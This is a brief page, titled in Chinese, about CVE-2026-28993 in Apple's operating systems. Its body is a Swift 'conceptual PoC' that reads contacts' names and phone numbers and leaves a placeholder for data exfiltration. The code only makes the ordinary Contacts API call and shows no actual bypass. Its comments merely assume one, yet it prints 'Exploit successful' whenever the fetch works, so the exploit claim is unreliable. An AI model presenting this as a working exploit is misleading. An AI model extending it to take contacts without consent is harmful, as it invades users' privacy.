CVE-2026-28993 Apple操作系统敏感数据访问漏洞

// Conceptual PoC for CVE-2026-28993 (Swift) // This PoC attempts to access sensitive data (e.g., Contacts) without triggering a prompt. import Contacts import UIKit class VulnerabilityExploit: UIViewController { override func viewDidLoad() { super.viewDidLoad() checkPermissions() } func checkPermissions() { let store = CNContactStore() // In vulnerable versions, this might succeed or fail to prompt correctly depending on the specific bypass logic. // Assuming the vulnerability allows reading keys without explicit prompt or bypasses the check entirely. let keys = [CNContactGivenNameKey, CNContactFamilyNameKey, CNContactPhoneNumbersKey] let request = CNContactFetchRequest(keysToFetch: keys as [CNKeyDescriptor]) do { try store.enumerateContacts(with: request) { contact, stop in print("[+] Successfully accessed sensitive data: \(contact.givenName) \(contact.familyName)") // Data exfiltration logic would go here } print("[+] Exploit successful: Sensitive data accessed without prompt.") } catch { print("[-] Access denied or patched.") } } }
